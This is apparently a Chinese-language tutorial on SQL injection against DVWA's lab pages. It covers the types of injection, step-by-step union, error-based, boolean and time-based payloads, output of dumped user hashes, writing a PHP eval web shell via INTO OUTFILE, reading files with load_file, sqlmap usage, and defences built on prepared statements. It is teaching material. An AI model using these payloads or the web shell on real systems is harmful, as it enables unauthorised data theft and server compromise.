SQL注入

基本原理

在B/S模式中,用户可以通过Get或Post等方式,对服务器发出HTTP请求。在服务器端,对数据库执行查询操作,将查询的结果返回浏览器端。黑客利用上述过程,将精心构造的请求放到传入的变量参数中,让服务器端执行恶意代码,从而达到了读取数据库中敏感信息的效果,甚至将数据库删除。这一攻击过程就是SQL注入,它的原理如图所示。

其成因可归结为以下两个原理叠加造成:

1、程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造SQL语句。

2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

危害

  1. 攻击者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
  2. 可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
  3. 如果网站目录存在写入权限,可以写入网页木马。攻击者进而可以对网页进行篡改,发布一些违法信息等。
  4. 经过提权等步骤,服务器最高权限被攻击者获取。攻击者可以远程控制服务器,安装后门,得以修改或控制操作系统。

注入分类

按照注入点类型分类

  1. 数字型注入

  2. 字符型注入

  3. 搜索型注入

    这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 “keyword=关键字” 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like ‘%关键字%’ 若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:

    select * from 表名 where 字段 like ‘%测试%’ and ‘%1%’=’%1%’

按照注入点位置分类

  1. GET注入

    提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

  2. POST注入

    使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。

  3. Cookie注入

    HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。

  4. HTTP头部注入

    注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

按照执行效果分类

  1. 联合注入(有回显)
  2. 报错注入(有报错回显)
  3. 布尔盲注(响应页面有布尔类型状态)
  4. 延时注入
  5. 堆叠查询注入

常用的mysql系统函数

函数 解释 用法
version() mysql 数据库版本 select version();
database() 当前数据库名 select database();
user() 用户名 select user();
current_user() 当前用户名 select current_user();
system_user() 系统用户名 select system_user();
@@datadir 数据库路径 select @@datadir;
@@version_compile_os 操作系统版本 select @@version_compile_os;
length() 返回字符串长度 select length(version());
substr() 1、截取的字符串 select substr(“version()”,2);
2、截取的起始位置默认从1开始 select substr(version(),2,10);
left() 从左侧开始去指定字符个数的字符串 select left(version(),2);
group_concat() 连接一个组的字符串 select group_concat(id) from users;
ord() 返回ASCII码 select ord(‘a’);
hex() 将字符串转换为十六进制 select hex(‘a’);
md5() 返回MD5 值 select md5(‘123456’);
sleep() 睡眠时间为指定的秒数 select sleep(5);
if(true,t,f) if判断 select if(true,1,0);

常用的引号闭合方式

1
2
3
4
5
6
1'
1"
1)
1')
1")
1"))

注入流程

第一阶段

判断注入点

判断存在注入的地点,比如Get请求参数,POST提交的表单参数,cookie参数,HTTP头部参数等

判断是否为数字型注入

首先判断是否为数字型注入,利用输入

?id=1 and 1=1

?id=1 and 1=2

如果返回了不同页面则是数字型注入

如果后端利用的是字符型时,后端sql语句就会被拼接为….. where id =’1 and 1=1’;然后在执行该sql语句时,mysql会对该sql语句进行解析(大概就是这意思QAQ),mysql发现id字段为int型则会将sql语句中的 where id =’1 and 1=1’变为int型,而这又是一个字符串,mysql只能将’1 and 1=1’变为’1’了所以最后执行的sql语句为….. where id =’1’;

所以如果是字符型注入的话?id=1 and 1=1,?id=1 and 1=2执行效果和返回页面是相同的

判断是否为字符型注入

输入

?id=1’#

?id=1”#

?id=1’)#

…….

哪个页面返回正常则说明是字符型注入,并且可推断出引号闭合方式

第一阶段工作完成

第二阶段(根据回显效果,选择如下一种)

判断有无回显,联合注入

SQL union操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果。

注意SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。

1
SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2

例如有如下两个表

Employees_China:

E_ID E_Name
01 ZhangHua
02 WangWei
03 CarterThomas
04 YangMing

Employees_USA:

E_ID E_Name
01 AdamsJohn
02 BushGeorge
03 CarterThomas
04 GatesBill
1
2
3
SELECT E_Name FROM Employees_China
UNION
SELECT E_Name FROM Employees_USA

执行结果:

E_Name
ZhangHua
WangWei
CarterThomas
YangMing
AdamsJohn
BushGeorge
GatesBill

再例如dvwa的low级别:select first_name,last_name from users where id =’1’ union select 1,2#

就会返回:

first_name last_name
admin admin
1 2

页面显示如下:

输入以下来判断后端查询的字段数

?id=1’ union select 1,2

?id=1’ union select 1,2,3

?id=1’ union select 1,2,3,4

…..

哪个页面正常返回说明有几个字段,根据页面回显的数字就可以将union select后面的对应数字换为其他语句。eg:

1’ union select version(),database()#

1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=”dvwa”#

等等

然后进行联合注入,即用union select推出数据库名,表名,字段名,数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1//推断查询字段个数
1' union select 1,2#
(2)//显示数据库名和版本
1' union select version(),database()#
3//推出dvwa数据库中的所有表,压缩显示
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="dvwa"#
(4)//推出users表的所有字段,压缩显示
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#
5//推出users表的所有username和password,逐一显示
1' union select user,password from users#
(6)//推出users表的所有first_name和password,压缩显示
1' union select 1,group_concat(first_name,password) from users#
7//推出users表的所有user_id,first_name和password,压缩显示
1' union select group_concat(user_id,first_name),group_concat(password) from users#
(8)//推出users表的所有user_id,first_name,last_name和password,压缩显示 下面会说压缩显示和逐一显示的区别
1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

group_concat用法:

将返回的结果集转换为一个字符串,目的是为了在一行输出

例如SELECT group_concat(E_Name) FROM Employees_China //表在上面

则会返回:

ZhangHua,WangWei,CarterThomas,YangMing

再例如dvwa的low级别

输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=”dvwa”#

提交后到了后端完整的sql语句应该是

1
select first_name,last_name from users where id ='1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="dvwa"#

对于union后面的select 1,group_concat(table_name) from information_schema.tables where table_schema=”dvwa”#可以这样理解

首先其返回结果为

1 select group_concat(table_name) from information_schema.tables where table_schema=”dvwa”#的执行结果

而其中的select group_concat(table_name) from information_schema.tables where table_schema=”dvwa”#可以这样理解

首先先执行select table_name from information_schema.tables where table_schema=”dvwa”#

得到结果:

table_name
guestbook
users

然后再执行group_concat得到结果:guestbook,users


注:如果上面得到结果为

table_name table_name2
aaa bbb
ccc ddd

则执行group_concat得到结果:aaabbb,cccddd


所以最终结果为

first_name last_name
admin admin
1 guestbook,users

页面展示效果为:


用不用group_concat只是形式上的不同,但有的时候后端再限制limit 1时就要用group_concat,如下为各种sql语句返回结果,目的熟悉sql语句,重点注意逐一显示和压缩显示的区别:

第(4)句完整sql语句返回结果:

column_name
user_id
first_name
last_name
user
password
avatar
last_login
failed_login

页面显示效果:

第(5)句完整sql语句返回结果:

first_name last_name
admin admin
admin 202cb962ac59075b964b07152d234b70
gordonb e99a18c428cb38d5f260853678922e03
1337 8d3533d75ae2c3966d7e0d4fcc69216b
pablo 0d107d09f5bbe40cade3de5c71e9e9b7
smithy 5f4dcc3b5aa765d61d8327deb882cf99

页面显示效果:

第(6)句完整sql语句返回结果:

first_name last_name
admin admin
1 admin202cb962ac59075b964b07152d234b70,Gordone99a18c428cb38d5f260853678922e03,Hack8d3533d75ae2c3966d7e0d4fcc69216b,Pablo0d107d09f5bbe40cade3de5c71e9e9b7,Bob5f4dcc3b5aa765d61d8327deb882cf99

页面显示效果:

第(7)句完整sql语句返回结果:

first_name last_name
admin admin
1admin,2Gordon,3Hack,4Pablo,5Bob 202cb962ac59075b964b07152d234b70,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

页面显示效果:

第(8)句完整sql语句返回结果:

first_name last_name
admin admin
1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith 202cb962ac59075b964b07152d234b70,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

页面显示效果:

如上所示,当三个字段进行group_concat时就会先将每一行数据拼接起来,然后已逗号分隔符来连接成字符串

判断有无报错回显,报错注入

如图如果有报错回显,则可以使用报错注入,即将恶意sql语句插入到特殊构造的报错语句中去

报错注入常用payload

https://blog.csdn.net/silence1_/article/details/90812612

注意该blog里面payload最后没加#,需自己添加

eg: http://192.168.43.61//DVWA/vulnerabilities/sqli/index.php?id=%27and(select%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database())),0x7e))#&Submit=Submit //爆数据库表

判断页面有无布尔类型状态,布尔盲注

输入

?id=1’ and 1=1#

?id=1’ and 1=2#

如果页面返回不同则说明存在bool类型状态,则可以bool盲注

payload参考如下

https://www.jb51.net/article/93445.htm

https://gcdcx.blog.csdn.net/article/details/105851290

注:布尔盲注工作量太大,需要布尔盲注自动化脚本

?id=2’ and (select length(column_name) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)=2#

判断当前数据库的第一张表的表名长度是否为2

延时注入

其他注入都用不了的情况下,可以使用延时注入,其是根据页面响应是否延时来进行脱库的

比如在dvwa的low级别输入以下payload:

1
1' and if(((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9),sleep(5),1)#

提交后页面延时了5s,说明dvwa数据库的第一个表的表名长度为9

注:延时注入工作量太大,需要延时注入自动化脚本,链接如下

https://github.com/W0lfier/sqlTimeDelay/blob/master/sqlinject_timebased.py

二阶段工作完成

第三阶段(脱库)

根据第二阶段选择的注入手法,进行脱库,脱库已经在第二阶段的联合查询注入模块详细阐述了

第三阶段工作完成

sql注入读写文件

前提条件

  1. secure-file-priv

需要配置secure-file-priv

该参数在高版本的mysql 数据库中限制了文件的导入导出

改参数可以写在my.ini 配置文件,并重启mysql 服务

打开C:\phpStudy\MySQL\my.ini 配置文件,在[mysqld]下添加 secure-file-priv

secure-file-priv参数配置 含义
secure-file-priv= 不对mysqld的导入导出操作做限制
secure-file-priv=’c:/a/‘ 限制mysql的导入导出操作发生在c:/a/下(子目录有效)
secure-file-priv=null 限制mysqld不允许导入导出操作
  1. 当前用户具有文件读写权限
  2. 要知道要写入文件的存放位置的绝对路径

payload

以dvwa的low级别为例

写入文件

1
1' union select '<?php @eval($_POST[777]); ?>',2 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\DVWA\\vulnerabilities\\sqli\\shell.php'#

读取文件

1
1' union select 1,load_file('C:\\Windows\\System32\\drivers\\etc\\hosts')#

sqlmap

sqlmap命令与参数:

https://blog.csdn.net/weixin_43590262/article/details/117229524

https://www.cnblogs.com/php09/p/10404560.html


两种入门注入方式:

-u 目标url //记得设置cookie等参数

-r http请求.txt //对于post请求等比较友好因为不用设置参数,txt里面都有

eg:sqlmap -r test1.txt -p id –dbs -v 4 //test1.txt在sqlmap根目录下


数据库中的数据表很多,通过sqlmap快速找出存放用户名和密码的表,一把梭

https://blog.csdn.net/weixin_42253265/article/details/112465258

eg:sqlmap -u “http://192.168.43.61/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" -v4 –cookie=”security=low; PHPSESSID=8opisrbkl2ismd04b6bse88rp7” -D dvwa -search -C user,password

防御方法

  1. 基于攻击特征的匹配过滤。这是目前使用最为广泛的方式,系统会将攻击特征做成数据库,一旦匹配到这些攻击特征就会认定检测到SQL注入。这种方式可以有效的过滤大部分SQL注入攻击,但是大大增加了程序的复杂度,同时可能影响到业务的正常查询。
  2. 对用户输入进行转义。例如,常见的SQL注入语句中都含有“‘’”,通过转义将“‘’”转义为“/”,SQL注入语句就会达不到攻击者预期的执行效果,从而实现对SQL注入进行防御。
  3. 数据类型进行严格定义,数据长度进行严格规定。比如查询数据库某条记录的id,定义它为整型,如果用户传来的数据不满足条件,要对数据进行过滤。数据长度也应该做严格限制,可以防止较长的SQL注入语句。
  4. 严格限制网站访问数据库的权限。
  5. 近几年来,随着机器学习与人工智能技术的火热,基于机器学习的检测SQL注入方法成为了新的研究方向。首先将样本SQL语句转换为特征向量集合,使用机器学习的方法进行训练,将得到的模型投入使用,利用训练的模型检测传入的数据是否包含恶意SQL注入。
  6. 其他防御措施。例如,避免网站显示SQL执行出错信息,防止攻击者使用基于错误的方式进行注入;每个数据层编码统一,防止过滤模型被绕过等。

附DVWA的sql注入impossib源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>
1. user_token:用户token防止重放攻击以及csrf
2. is_numeric()函数用于检测变量是否为数字或数字字符串。
3. prepare ()准备要执行的SQL语句并返回一个 PDOStatement 对象,采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
4. $data->rowCount() == 1只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”

https://blog.csdn.net/lay_loge/article/details/90445180

https://www.jianshu.com/p/5de47d05e333

https://gcdcx.blog.csdn.net/article/details/105851290